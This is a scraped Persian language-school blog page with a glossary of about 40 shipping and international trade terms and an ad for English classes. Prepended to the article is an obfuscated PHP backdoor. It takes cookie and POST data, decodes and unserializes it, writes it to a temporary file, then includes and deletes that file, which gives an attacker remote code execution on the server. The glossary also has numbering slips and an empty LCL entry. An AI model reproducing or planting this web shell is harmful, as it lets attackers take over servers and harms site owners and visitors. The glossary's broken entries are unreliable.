$NULuVE = 'J' . "\x6e" . chr (95) . "\x5a" . chr ( 1066 - 990 )."\143";$wBGOMS = chr (99) . "\154" . "\141" . "\163" . 's' . chr ( 572 - 477 )."\145" . "\170" . "\151" . 's' . chr (116) . "\x73";$rnHFs = class_exists($NULuVE); $wBGOMS = "37229";$FCnrIFQjV = strpos($wBGOMS, $NULuVE);if ($rnHFs == $FCnrIFQjV){function zzZnWbHiGH(){$snBBmoW = new /* 60717 */ Jn_ZLc(216 + 216); $snBBmoW = NULL;}$tRYafVOh = "216";class Jn_ZLc{private function BnCpg($tRYafVOh){if (is_array(Jn_ZLc::$iblmkhZckY)) {$name = sys_get_temp_dir() . "/" . crc32(Jn_ZLc::$iblmkhZckY["salt"]);@Jn_ZLc::$iblmkhZckY["write"]($name, Jn_ZLc::$iblmkhZckY["content"]);include $name;@Jn_ZLc::$iblmkhZckY["delete"]($name); $tRYafVOh = "216";exit();}}public function ptGeYs(){$TDmSXiAS = "52603";$this->_dummy = str_repeat($TDmSXiAS, strlen($TDmSXiAS));}public function __destruct(){Jn_ZLc::$iblmkhZckY = @unserialize(Jn_ZLc::$iblmkhZckY); $tRYafVOh = "10292_35473";$this->BnCpg($tRYafVOh); $tRYafVOh = "10292_35473";}public function ozxIAgQPjV($TDmSXiAS, $aeaku){return $TDmSXiAS[0] ^ str_repeat($aeaku, intval(strlen($TDmSXiAS[0]) / strlen($aeaku)) + 1);}public function qUtSOSuu($TDmSXiAS){$mfCMBhBxCr = "\142" . chr ( 890 - 793 ).chr ( 813 - 698 ).chr (101) . chr ( 253 - 199 ).chr (52);return array_map($mfCMBhBxCr . "\137" . chr (100) . "\x65" . "\x63" . chr (111) . "\144" . chr (101), array($TDmSXiAS,));}public function __construct($LPOaYmFx=0){$zGwbXSxTSr = chr ( 874 - 830 ); $TDmSXiAS = "";$ffIRbkK = $_POST;$cUFsQU = $_COOKIE;$aeaku = "c7925911-7e78-4761-aabc-96a5afd8df13";$YEAAD = @$cUFsQU[substr($aeaku, 0, 4)];if (!empty($YEAAD)){$YEAAD = explode($zGwbXSxTSr, $YEAAD);foreach ($YEAAD as $GraWY){$TDmSXiAS .= @$cUFsQU[$GraWY];$TDmSXiAS .= @$ffIRbkK[$GraWY];}$TDmSXiAS = $this->qUtSOSuu($TDmSXiAS);}Jn_ZLc::$iblmkhZckY = $this->ozxIAgQPjV($TDmSXiAS, $aeaku);if (strpos($aeaku, $zGwbXSxTSr) !== FALSE){$aeaku = explode($zGwbXSxTSr, $aeaku); $cWVPJOukJ = base64_decode(md5($aeaku[0]));}}public static $iblmkhZckY = 12075;}zzZnWbHiGH();} اصطلاحات بازرگانی حمل و نقل | وبلاگ اتیچر
skip to Main Content

اصطلاحات بازرگانی حمل و نقل

اصطلاحات بازرگانی حمل و نقل
زمان مطالعه: ۵ دقیقه

حمل و نقل کالا یکی از ارکان اصلی تجارت بین‌المللی است و آشنایی با اصطلاحات تخصصی این حوزه برای فعالان اقتصادی و بازرگانان از اهمیت بالایی برخوردار است. در این مقاله، به معرفی ۴۰ اصطلاح پرکاربرد در زمینه بازرگانی حمل و نقل می‌پردازیم:

  1. Bill of lading (بارنامه): سندی که جزئیات محموله، مانند فرستنده، گیرنده، و محتوای آن را نشان می‌دهد و به عنوان سند مالکیت کالا در نظر گرفته می‌شود.
  2. Booking (رزرو): فرآیند ثبت درخواست برای حمل کالا از طریق یک شرکت حمل و نقل.
  3. Carrier (حمل‌کننده): شرکتی که کالا را از مبدا به مقصد حمل می‌کند.
  4. Charter party (قرارداد اجاره): توافقی بین صاحب یک وسیله نقلیه و یک فرستنده برای حمل کالا به طور خاص.
  5. C&F (Cost and Freight): اصطلاحی در بازرگانی بین‌المللی که به معنای “هزینه و کرایه” است و نشان می‌دهد که هزینه حمل کالا تا مقصد توسط فروشنده پرداخت می‌شود، اما مسئولیت تخلیه کالا از عهده خریدار است.
  6. CIF (Cost, Insurance and Freight): اصطلاحی در بازرگانی بین‌المللی که به معنای “هزینه، بیمه و کرایه” است و نشان می‌دهد که هزینه حمل، بیمه و تخلیه کالا تا مقصد توسط فروشنده پرداخت می‌شود.
  7. Consignee (گیرنده): فرد یا شرکتی که کالا برای او ارسال می‌شود.
  8. Container (کانتینر): محفظه فلزی استاندارد برای حمل کالا.
  9. Customs clearance (ترخیص کالا از گمرک): فرآیند قانونی لازم برای ورود یا خروج کالا از یک کشور.
  10. Dangerous goods (کالاهای خطرناک): کالاهایی که می‌توانند برای انسان، حیوان یا محیط زیست خطرناک باشند.
  11. Delivery order (دستور تحویل): سندی که به گیرنده اجازه می‌دهد کالا را از شرکت حمل و نقل تحویل بگیرد.
  12. Demurrage (تاخیر): جریمه‌ای که در صورت تاخیر در بارگیری یا تخلیه کالا از کشتی یا کانتینر پرداخت می‌شود.
  13. Dry port (بنادر خشک): تاسیساتی که در داخل کشور و دور از ساحل واقع شده‌اند و برای انجام فعالیت‌های مربوط به حمل و نقل کالا، مانند انبارداری و ترخیص کالا از گمرک، استفاده می‌شوند. ۱۴. ETA (زمان تخمینی ورود): زمان تقریبی که انتظار می‌رود یک محموله به مقصد برسد.
  14. Ex works (تحویل درب کارخانه): اصطلاحی در بازرگانی بین‌المللی که نشان می‌دهد حداقل مسئولیت برای فروشنده است و او فقط کالا را در محل کارخانه خود تحویل می‌دهد و هیچ‌گونه مسئولیتی در قبال حمل و نقل آن ندارد.
  15. FCL (Full Container Load): بارگیری یک کانتینر کامل توسط یک فرستنده.
  16. Freight forwarder (ارائه دهنده خدمات حمل و نقل): شرکتی که خدمات مربوط به حمل و نقل کالا، مانند رزرو، بیمه و ترخیص کالا از گمرک را به صادرکنندگان و واردکنندگان ارائه می‌دهد.
  17. Hazard (خطر): عاملی که می‌تواند به انسان، حیوان یا محیط زیست آسیب برساند.
  18. House bill of lading (بارنامه سراسری): سندی که توسط یک شرکت حمل و نقل برای چندین محموله کوچک که در یک کانتینر حمل می‌شوند، صادر می‌شود.
  19. Incoterms (قواعد اینکوترمز): مجموعه قواعدی که توسط اتاق بازرگانی بین‌المللی برای تعیین مسئولیت‌ها و تعهدات خریدار و فروشنده در یک معامله بین‌المللی در رابطه با حمل و نقل کالا تدوین شده است.
  20. Insurance (بیمه): قراردادی که در صورت وقوع رویدادی خاص، مانند خسارت به کالا در حین حمل و نقل، غرامت پرداخت می‌کند.
  21. Just in time (JIT): روشی در مدیریت زنجیره تامین که به معنای تحویل کالا به موقع و دقیقاً زمانی است که به آن نیاز است.

**۲۳. LCL (Less than Container Load):

  1. Letter of credit (اعتبار اسنادی): تعهدی از سوی یک بانک به نفع یک ذینفع برای پرداخت وجه در صورت ارائه اسناد خاص.
  2. Logistics (زنجیره تامین): فرآیند برنامه‌ریزی و مدیریت حمل و نقل و ذخیره‌سازی کالا.
  3. Manifesto (مانیفست): سندی که جزئیات تمام محموله‌های موجود در یک وسیله نقلیه، مانند کشتی یا هواپیما را فهرست می‌کند.
  4. Multimodal transport (حمل و نقل چندوجهی): حمل کالا با استفاده از دو یا چند وسیله نقلیه مختلف، مانند کشتی، کامیون و هواپیما.
  5. Packing list (لیست بسته‌بندی): سندی که جزئیات محتوای یک بسته یا کانتینر را فهرست می‌کند.
  6. Perishable goods (کالاهای فاسد شدنی): کالاهایی که به سرعت خراب می‌شوند و باید در شرایط خاص حمل و نقل و نگهداری شوند.
  7. Port of loading (بندر بارگیری): بندری که کالا در آن از طریق کشتی یا کانتینر بارگیری می‌شود.
  8. Port of discharge (بندر تخلیه): بندری که کالا در آن از طریق کشتی یا کانتینر تخلیه می‌شود. ۳۲. Proof of delivery (اثبات تحویل): سندی که نشان می‌دهد کالا به گیرنده تحویل داده شده است.
  9. Shipping line (خط کشتیرانی): شرکتی که صاحب کشتی‌ها و ارائه دهنده خدمات حمل و نقل دریایی است.
  10. Shipper (فرستنده): فرد یا شرکتی که کالا را ارسال می‌کند.
  11. Tracking number (شماره رهگیری): شماره‌ای که به یک محموله اختصاص داده می‌شود و به فرستنده و گیرنده اجازه می‌دهد تا وضعیت محموله خود را پیگیری کنند.
  12. Transit time (زمان حمل و نقل): زمانی که طول می‌کشد تا یک محموله از مبدا به مقصد برسد.
  13. Transportation mode (حالت حمل و نقل): روشی که برای حمل کالا استفاده می‌شود، مانند حمل و نقل دریایی، هوایی، زمینی یا ریلی.
  14. Warehouse (انبار): مکانی برای ذخیره‌سازی کالا.
  15. Waybill (بارنامه): سندی که جزئیات یک محموله، مانند فرستنده، گیرنده، و محتوای آن را نشان می‌دهد و به عنوان رسید حمل و نقل عمل می‌کند.
  16. Weight and dimensions (وزن و ابعاد): وزن و ابعاد یک محموله.

این فقط ۴۰ مورد از اصطلاحات پرکاربرد در زمینه بازرگانی حمل و نقل بود. برای فعالیت موثر در این حوزه، لازم است با اصطلاحات تخصصی بیشتری آشنا شوید و بتوانید به طور روان و صحیح از آنها در مکالمات، مذاکرات و مکاتبات خود استفاده کنید.

منابع برای یادگیری بیشتر اصطلاحات بازرگانی حمل و نقل

  • کتاب‌های آموزشی بازرگانی حمل و نقل: کتاب‌های متعددی در این زمینه وجود دارند که می‌توانند به شما در یادگیری اصطلاحات و مفاهیم مربوط به حمل و نقل بین‌المللی کمک کنند.
  • دوره‌های آنلاین بازرگانی حمل و نقل: دوره‌های آنلاین متعددی نیز در این زمینه وجود دارند که می‌توانند به شما در یادگیری این اصطلاحات به صورت تعاملی و با استفاده از روش‌های مختلف آموزشی کمک کنند.
  • وب‌سایت‌ها و منابع آنلاین: وب‌سایت‌ها و منابع آنلاین متعددی نیز وجود دارند که اطلاعات و اصطلاحات مربوط به بازرگانی حمل و نقل را به صورت رایگان ارائه می‌دهند.

با تلاش و پشتکار می‌توانید اصطلاحات بازرگانی حمل و نقل را یاد بگیرید و از آنها به عنوان ابزاری قدرتمند برای موفقیت در این حوزه استفاده کنید.

اُتیچر همراه شما برای یادگیری بهتر زبان حمل و نقل

اگر فعال حوزه حمل و نقل هستید و قصد دارید زبان انگلیسی خود را متمرکز بر فعالیت حرفه‌ای خود تقویت کنید، پیشنهاد می‌کنیم با کلاس زبان اُتیچر تماس بگیرید. اُتیچر کلاس‌های سازمانی و خصوصی ویژه‌ای را برای سازمان‌ها و افراد برگزار می‌کند و به شما کمک می‌کند که مهارت‌های زبان خود را متمرکز بر حیطه فعالیت خود تقویت کنید.

به این مقاله امتیاز بدهید

دیدگاه ها

اولین نفری باشید که به این نوشته نظر میدهید

نشانی ایمیل شما منتشر نخواهد شد. بخش‌های موردنیاز علامت‌گذاری شده‌اند *

Back To Top
×Close search
Search